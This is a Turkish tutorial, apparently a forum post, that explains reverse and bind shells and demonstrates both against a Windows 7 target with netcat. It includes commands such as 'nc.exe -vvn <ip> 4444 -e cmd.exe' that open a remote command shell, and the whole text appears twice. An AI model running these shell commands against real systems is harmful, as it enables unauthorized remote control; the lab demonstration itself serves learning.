- 30 Nis 2012
- 2,728
- 13
Reverse Shell ve Bind Shell Nedir ? (Uygulamalı)
Bu konumda Reverse Shell ve Bind Shell'in ne olduğunu, aralarında ne tür farkların bulunduğunu ve uygulamalı bir şekilde bir sisteme shell atımını göstereceğiz. Fakat öncelikle shell kavramının kısa bir tanımını yapmalıyız.
Shell Nedir ?
Shell (kabuk), bir işletim sistemiyle etkileşimli kullanıcı arayüzü için bir UNIX terimidir. Kabuk, kullanıcının girdiği komutları anlayan ve uygulayan programlama katmanıdır.
Bu sayede kullanıcıların bilgisayar komutları, metin veya komut dosyasıyla işlemleri yönetmesine izin verilir.
Reverse Shell Nedir ?
Reverse Shell, hedef makinenin saldırgan makineye geri iletişim kurduğu bir kabuk türüdür. Saldıran makinede, kod kullanarak veya komut çalıştırılarak elde edilen bağlantıyı aldığı bir dinleyici portu vardır. Bu porta hedef makinenin bağlantısını gerçekleştirdiği sırada salgırdan hedef makineyi ele geçirme işlemini tamamlamış olacaktır.
Bind Shell Nedir ?
Bind Shell, hedef makineda son kullanıcının çalıştırmış olduğu zararlı kodun bir iletişim portu veya bir dinleyici açtığı ve gelen bir bağlantı için beklediği bir kabuk türüdür. Saldırgan daha sonra hedef makinesinin dinleyicisine bağlanır ve ardından sunucuda kod veya komut yürütmesine neden olur.
Reverse Shell ve Bind Shell Farkları Nedir ?
Bind Shell de direkt hedef makinenin portuna bağlantı sağlanırken ;
Reverse Shell de saldırgan kendi portunu dinlerken hedef makinenin ilgili porta bağlanması olayıdır.
Reverse Shell ve Bind Shell uygulamalarına geçmek için öncelikle bir adet hedef makine seçmemiz gerekmektedir. Bu uygulama için Windows 7 hedef makinesini kullanacağım.
Reverse Shell Uygulaması
Senaryomuzda bizim makinemize bir hedef makinenin bağlanmasını sağlamak için öncelikle kendi makinemizde 4444 portunu dinlemeye alıyoruz. 4444 portunu dinlemeye almak için nc -lvp 4444 komutu yazıyoruz.
Kendi makinemizde 4444 portunu dinlemeye aldıktan sonra hedef makineden ilgili porta bir bağlantı gelmesi gerekmektedir bunun için ise hedef makinemizden cmd.exe'yi açtıktan sonra nc.exe'nin bulunduğu konuma cd <ilgilikonum> komutu ile geçiş yapmış oluyoruz. nc.exe -vvn <kendiipadresimiz> 4444 -e cmd.exe komutu ile hedef makine bağlantı sağlamış oluyor ve biz de bu durumda karşı taraftan shell alıyoruz.
Bind Shell Uygulaması
Senaryomuzda hedef makine kendi 4444 portunu dinlemeye almış olacaktır. Saldırgan da kendi makinesinden hedef makineye bu port üzerinden erişim sağlayacaktır.
Bunun için öncelikle hedef makinemizden cmd.exe'yi açtıktan sonra nc.exe'nin bulunduğu konuma cd <ilgilikonum> komutu ile geçiş yapmış oluyoruz. Ardından nc.exe -lvp 4444 -e cmd.exe komutu ile kendi 4444 portunu dinlemeye alıyoruz. -e cmd.exe komutu ise bu port üzerinde cmd.exe'yi çalıştırmaktadır.
Şimdi kendi makinemizden (saldırgan) ilgili hedef makineye açık olan porttan direkt bağlanma işlemini gerçekleştireceğiz. nc -vvn <hedefipadress> 4444 komutunu girdikten sonra hedef makineden shell almış olacağız.
Yukarıda ki resimde görüldüğü üzere bağlantımız gerçekleşti şimdi hedef makinenin komut satırında istekleriniz üzere kodları yazabilirsiniz.
Bu konumda Reverse Shell ve Bind Shell'in ne olduğunu, aralarında ne tür farkların bulunduğunu ve uygulamalı bir şekilde bir sisteme shell atımını göstereceğiz. Fakat öncelikle shell kavramının kısa bir tanımını yapmalıyız.
Shell Nedir ?
Shell (kabuk), bir işletim sistemiyle etkileşimli kullanıcı arayüzü için bir UNIX terimidir. Kabuk, kullanıcının girdiği komutları anlayan ve uygulayan programlama katmanıdır.
Bu sayede kullanıcıların bilgisayar komutları, metin veya komut dosyasıyla işlemleri yönetmesine izin verilir.
Reverse Shell Nedir ?
Reverse Shell, hedef makinenin saldırgan makineye geri iletişim kurduğu bir kabuk türüdür. Saldıran makinede, kod kullanarak veya komut çalıştırılarak elde edilen bağlantıyı aldığı bir dinleyici portu vardır. Bu porta hedef makinenin bağlantısını gerçekleştirdiği sırada salgırdan hedef makineyi ele geçirme işlemini tamamlamış olacaktır.
Bind Shell Nedir ?
Bind Shell, hedef makineda son kullanıcının çalıştırmış olduğu zararlı kodun bir iletişim portu veya bir dinleyici açtığı ve gelen bir bağlantı için beklediği bir kabuk türüdür. Saldırgan daha sonra hedef makinesinin dinleyicisine bağlanır ve ardından sunucuda kod veya komut yürütmesine neden olur.
Reverse Shell ve Bind Shell Farkları Nedir ?
Bind Shell de direkt hedef makinenin portuna bağlantı sağlanırken ;
Reverse Shell de saldırgan kendi portunu dinlerken hedef makinenin ilgili porta bağlanması olayıdır.
Reverse Shell ve Bind Shell uygulamalarına geçmek için öncelikle bir adet hedef makine seçmemiz gerekmektedir. Bu uygulama için Windows 7 hedef makinesini kullanacağım.
Reverse Shell Uygulaması
Senaryomuzda bizim makinemize bir hedef makinenin bağlanmasını sağlamak için öncelikle kendi makinemizde 4444 portunu dinlemeye alıyoruz. 4444 portunu dinlemeye almak için nc -lvp 4444 komutu yazıyoruz.
Kendi makinemizde 4444 portunu dinlemeye aldıktan sonra hedef makineden ilgili porta bir bağlantı gelmesi gerekmektedir bunun için ise hedef makinemizden cmd.exe'yi açtıktan sonra nc.exe'nin bulunduğu konuma cd <ilgilikonum> komutu ile geçiş yapmış oluyoruz. nc.exe -vvn <kendiipadresimiz> 4444 -e cmd.exe komutu ile hedef makine bağlantı sağlamış oluyor ve biz de bu durumda karşı taraftan shell alıyoruz.
Bind Shell Uygulaması
Senaryomuzda hedef makine kendi 4444 portunu dinlemeye almış olacaktır. Saldırgan da kendi makinesinden hedef makineye bu port üzerinden erişim sağlayacaktır.
Bunun için öncelikle hedef makinemizden cmd.exe'yi açtıktan sonra nc.exe'nin bulunduğu konuma cd <ilgilikonum> komutu ile geçiş yapmış oluyoruz. Ardından nc.exe -lvp 4444 -e cmd.exe komutu ile kendi 4444 portunu dinlemeye alıyoruz. -e cmd.exe komutu ise bu port üzerinde cmd.exe'yi çalıştırmaktadır.
Şimdi kendi makinemizden (saldırgan) ilgili hedef makineye açık olan porttan direkt bağlanma işlemini gerçekleştireceğiz. nc -vvn <hedefipadress> 4444 komutunu girdikten sonra hedef makineden shell almış olacağız.
Yukarıda ki resimde görüldüğü üzere bağlantımız gerçekleşti şimdi hedef makinenin komut satırında istekleriniz üzere kodları yazabilirsiniz.